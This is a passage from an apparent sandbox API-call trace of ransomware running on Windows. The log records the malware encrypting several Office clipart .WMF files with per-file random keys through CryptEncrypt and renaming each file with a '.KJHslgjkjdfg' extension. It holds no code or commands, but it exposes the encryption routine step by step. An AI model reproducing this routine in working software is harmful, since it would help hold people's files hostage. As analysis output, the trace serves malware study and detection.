lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.631] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.632] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.632] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x934c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x934c, lpOverlapped=0x0) returned 1 [0234.640] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9350, dwBufLen=0x9350 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9350) returned 1 [0234.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.640] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9350, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9350, lpOverlapped=0x0) returned 1 [0234.640] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.641] SetEndOfFile (hFile=0x130) returned 1 [0234.643] GetProcessHeap () returned 0x2ef0000 [0234.644] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.644] GetProcessHeap () returned 0x2ef0000 [0234.644] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.kjhslgjkjdfg")) returned 1 [0234.645] CloseHandle (hObject=0x130) returned 1 [0234.646] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30533400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30533400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00364_.WMF", cAlternateFileName="")) returned 1 [0234.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.647] GetProcessHeap () returned 0x2ef0000 [0234.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.647] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.647] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.659] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.659] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.659] GetProcessHeap () returned 0x2ef0000 [0234.659] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.659] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.659] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.659] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.659] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.659] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.659] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.659] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.660] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.660] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.660] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1948, lpOverlapped=0x0) returned 1 [0234.674] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1950, dwBufLen=0x1950 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1950) returned 1 [0234.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.674] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1950, lpOverlapped=0x0) returned 1 [0234.674] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.674] SetEndOfFile (hFile=0x130) returned 1 [0234.677] GetProcessHeap () returned 0x2ef0000 [0234.677] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.677] GetProcessHeap () returned 0x2ef0000 [0234.677] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.kjhslgjkjdfg")) returned 1 [0234.679] CloseHandle (hObject=0x130) returned 1 [0234.679] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31846100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31846100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x51ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00367_.WMF", cAlternateFileName="")) returned 1 [0234.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.680] GetProcessHeap () returned 0x2ef0000 [0234.681] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.681] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.681] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0234.726] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.726] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.726] GetProcessHeap () returned 0x2ef0000 [0234.726] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.726] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.726] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.726] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.727] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.727] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.727] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.727] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.727] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.727] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.727] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x51ea, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x51ea, lpOverlapped=0x0) returned 1 [0234.760] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x51f0, dwBufLen=0x51f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x51f0) returned 1 [0234.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.760] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x51f0, lpOverlapped=0x0) returned 1 [0234.761] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x52c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.761] SetEndOfFile (hFile=0x130) returned 1 [0234.762] GetProcessHeap () returned 0x2ef0000 [0234.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.762] GetProcessHeap () returned 0x2ef0000 [0234.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.kjhslgjkjdfg")) returned 1 [0234.764] CloseHandle (hObject=0x130) returned 1 [0234.764] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00373_.WMF", cAlternateFileName="")) returned 1 [0234.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.766] GetProcessHeap () returned 0x2ef0000 [0234.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.766] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.766] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.768] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.768] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.768] GetProcessHeap () returned 0x2ef0000 [0234.768] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.769] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.769] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.769] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.769] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.769] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3308, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3308, lpOverlapped=0x0) returned 1 [0234.770] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3310, dwBufLen=0x3310 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3310) returned 1 [0234.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.770] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3310, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3310, lpOverlapped=0x0) returned 1 [0234.771] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x33e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.771] SetEndOfFile (hFile=0x130) returned 1 [0234.772] GetProcessHeap () returned 0x2ef0000 [0234.772] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.772] GetProcessHeap () returned 0x2ef0000 [0234.772] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.kjhslgjkjdfg")) returned 1 [0234.774] CloseHandle (hObject=0x130) returned 1 [0234.774] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b58e00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b58e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x27f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00382_.WMF", cAlternateFileName="")) returned 1 [0234.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.776] GetProcessHeap () returned 0x2ef0000 [0234.776] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.776] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.776] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0234.801] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.801] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.801] GetProcessHeap () returned 0x2ef0000 [0234.801] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.801] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.801] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.801] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.801] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.801] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.801] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.802] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.802] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.802] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 